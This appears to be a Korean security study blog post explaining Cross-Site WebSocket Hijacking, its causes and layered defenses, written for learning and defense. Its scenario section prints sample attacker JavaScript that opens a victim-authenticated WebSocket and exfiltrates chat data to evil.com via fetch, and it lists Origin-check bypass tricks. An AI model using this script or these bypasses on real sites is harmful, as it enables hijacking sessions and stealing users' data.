BackGround
HTTP vs WebSocket
- HTTP: 요청(Request) → 응답(Response)으로 끝나는 단발 통신
- WebSocket: 한 번 연결을 맺으면, 그 뒤에는 연결을 유지한 채 양방향으로 실시간 메시지를 주고받는 통신
| 특징 | HTTP | WebSocket |
| 통신 방향 | 단방향 (Half-duplex) | 양방향 (Full-duplex) |
| 연결 상태 | Stateless (상태없음) | Sateful (상태유지) |
| 헤더 크기 | 큼 (매번 전송) | 작음 (연결 시에만 전송) |
| 실시간성 | 낮음 (Polling 필요) | 매우 높음 |
WebSocket의 연결 과정 (Upgrade 요청)
클라이언트 요청
GET /connect HTTP/1.1
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ= // 프록시 캐싱 방지
Origin: http://yeonbug.com
Cookie: session=abc1234
서버 응답
HTTP/1.1 101 Switching Protocols
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Accept: s3pPLMBiTxaQ9kYGzzhZRbK+xOo=
CSWSH
- Cross-Site WebSocket Hijacking의 약자로, WebSocket 자체를 공격자가 가로채는 것이다.
- CSWSH는 공격자가 피해자의 브라우저를 이용해 피해사이트 WebSocket 엔드포인트에 연결하고, 서버가 쿠기 기반 인증을 그대로 신뢰할 경우 공격자가 피해자 권한으로 WebSocket 통신을 수행하게 되는 취약점이다.
즉, CSWSH는 WebSocket 핸드셰이크 단계에서 발생하는 CSRF 취약점
CSRF와 CSWSH
| 구분 | CSRF | CSWSH |
| 대상 프로토콜 | HTTP | WebSocket |
| 통신 방식 | 단방향 | 양방향 |
| 지속성 | 요청 한 번으로 끝남 | 연결이 끊기기 전까지 지속 |
| 데이터 탈취 | 거의 불가능 | 매우 쉬움 |
| 공격 목표 | 비밀번호 변경, 게시글 작성 등 특정 액션 | 실시간 채팅 가로채기, 계좌 정보 실시간 모니터링 등 |
- CSRF: SOP 때문에 다른 도메인에서 온 응답을 JavaScript가 읽지 못하게 막음
→ 그래서 CSRF는 응답은 못 봐도 실행만 시키는 것을 목적으로 함 - CSWSH: WebSocket에서는 SOP의 제한을 받지 않음. 따라서 연결만 되면 통로를 통해 실시간 데이터를 읽고, 마음대로 명령을 내릴 수 있음
CSRF의 흐름
- (피해자) 공격자 사이트 클릭 → 브라우저가 Bank.com/transfer 로 돈 보내라고 요청함 (쿠키 포함)
- (서버) "어? 피해자 쿠키네? 돈 보낼게 ~" → 끝
CSWSH의 흐름
- (피해자) 공격자 사이트 클릭 → 브라우저가 Bank.com/chat 으로 WebSocket 연결 요청 (쿠키 포함)
- (서버) "어? 피해자 쿠키네? 연결해줄게"
- (공격자) "연결 성공!" 이제부터 이 채팅방의 모든 내용은 내 서버로 복사 → 지속적인 감시 시작
CSWSH 시나리오

1. 공격자 사이트 (evil.com) 구축
공격자는 사이트를 구축하면서 다음과 같은 자바스크립트를 작성한다.
// 피해자의 브라우저에서 실행될 악성 스크립트
const socket = new WebSocket('wss://bank.com/chat');
socket.onopen = function() {
// 연결되자마자 서버에 민감한 정보(예: 채팅 기록)를 요청함
socket.send(JSON.stringify({ action: "get_chat_history" }));
};
socket.onmessage = function(event) {
// 서버가 보내준 채팅 기록을 가로채서 공격자의 서버로 재전송
fetch('https://evil.com/steal?data=' + btoa(event.data));
};
2. 피해자가 공격자 사이트 접속
피해자가 공격자 사이트 (evil.com) 접속하는 순간, 공격자 사이트에 작성된 스크립트가 피해자의 브라우저에서 실행된다.
3. 공격자의 WebSocket 요청
피해자의 브라우저는 스크립트 명령에 따라 bank.com으로 WebSocket 연결 요청을 보낸다.
GET /chat HTTP/1.1
Host: bank.com
Upgrade: websocket
Connection: Upgrade
Origin: https://evil.com
Cookie: session_id=Victim_ABC123
4. 서버 승인
bank.com 서버는 이 요청을 받고, Cookie 헤더만 보고 "피해자가 WebSocket 요청을 보냈구나" 라고 착각하고 승인함
HTTP/1.1 101 Switching Protocols
Upgrade: websocket
Connection: Upgrade
5. 데이터 탈취
연결되었을 때 실행되는 공격자의 스크립트로 인해 응답 데이터를 공격자 서버로 전송해 데이터 탈취
발생 원인
1. 브라우저의 자동 쿠키 전송
- 특정 도메인으로 요청을 보낼 때, 그 요청이 누가 시켜서 보낸 것인지 따지지 않고 해당 도메인의 쿠키를 자동으로 헤더에 포함시킴
- 공격자 사이트(evil.com)에 심어진 스크립트가 bank.com으로 WebSocket 연결을 요청하면, 브라우저는 피해자의 로그인 세션이 담긴 쿠키를 자동으로 실어 보냄
- 서버는 요청에 담긴 쿠키를 보고 로그인 한 사용자라고 믿어버림
2. Origin 검증 누락
- 브라우저는 Cross-Site 요청 시, 요청이 어디서 시작되었는지 알려주는 Origin 헤더를 포함시킴
- WebSocket 라이브러리나 서버 설정에서 기본적으로 Origin 헤더를 검사하지 않거나, 모든 출처(*)를 허용하도록 함
보안 방법
1. SameSite 쿠키 속성
- SameSite = Lax : WebSocket 핸드셰이크 (GET 요청)에서도 기본적으로 쿠키 전송을 차단
- SameSite = Strict : 오직 같은 도메인에서만 쿠키 전송
우회가능성
- SameSite는 eTLD + 1을 기준으로 하는데, 만약 공격자가 같은 도메인의 다른 서브 도메인을 사용한다면 방어 효과가 없음
eTLD (Effective Top-Level Domain) + 1
- eTLD: .com , .net , .co.kr , gihub.io 같이 공인된 최상위 도메인 목록
- eTLD +1: 그 앞의 이름까지 포함된 것
login.bank.com = mail.bank.com 은 Same-Site
bank.com과 evil.com 은 Cross-Site
2. Origin 헤더 검증
서버에서 내가 허용한 도메인에서 온 요청인지 확인
우회 가능성
- 불완전한 정규표현식 (Weak Regex)
origin.contains("bank.com"), origin.startsWith("https://bank.com")와 같이 작성 시 https://bank.com.evil.com이나 http://bank.com-security.net 같은 도메인을 만들어 우회 → 문자열 정확히 일치하는지 확인 - Null Origin 허용
로컬 환경을 위해 if(origin == null) 일 때 연결을 허용하는 경우
공격자는 <iframe>의 sandbox 속성을 이용해 브라우저가 Origin:null 을 보내게 강제할 수 있음 → null 값 허용 x - 서브 도메인 과잉 신뢰
*.bank.com을 허용하면, 보안이 취약한(test.bank.com) 탈취 시 메인 서비의 웹 소켓도 함께 위험해짐 → 필요한 서브 도메인만 허용
3. CSRF 토큰
- HTTP에서 CSRF 방어와 동일하게 일회용 토큰 사용
웹 소켓 연결을 요청할 때 서버가 발급한 토큰을 포함 → 서버는 세션과 토큰이 일치하는 확인
우회 가능성
- XSS: 사이트 내에 XSS 취약점이 있다면 토큰을 훔쳐서 사용 가능
- 토큰 노출: URL 파라미터로 토큰을 보내면 히스토리나 로그에 토큰이 남을 수 있음
한 가지 방어 기법에 의존하지 말고, Origin헤더 확인, CSRF 토큰, SameSite 쿠키를 결합해서 사용하는 심층 방어가 정석
참고 문헌
https://portswigger.net/web-security/websockets/cross-site-websocket-hijacking -PortSwigger
https://datatracker.ietf.org/doc/html/rfc6455 - RFC5455
https://www.hahwul.com/cullinan/attack/cswsh/ -HAHWUL
https://www.christian-schneider.net/blog/cross-site-websocket-hijacking/ - Christian Schneider
https://cheatsheetseries.owasp.org/cheatsheets/WebSocket_Security_Cheat_Sheet.html -OWASP
'Web Study' 카테고리의 다른 글
| XSS-Leaks: Leaking Cross-Origin Redirects (0) | 2026.04.27 |
|---|---|
| PHP Object injection (0) | 2026.03.19 |
| Directory Listing (0) | 2026.03.04 |
| Host Split Attack (0) | 2026.03.04 |
| HTTP Session Hijacking (0) | 2026.03.04 |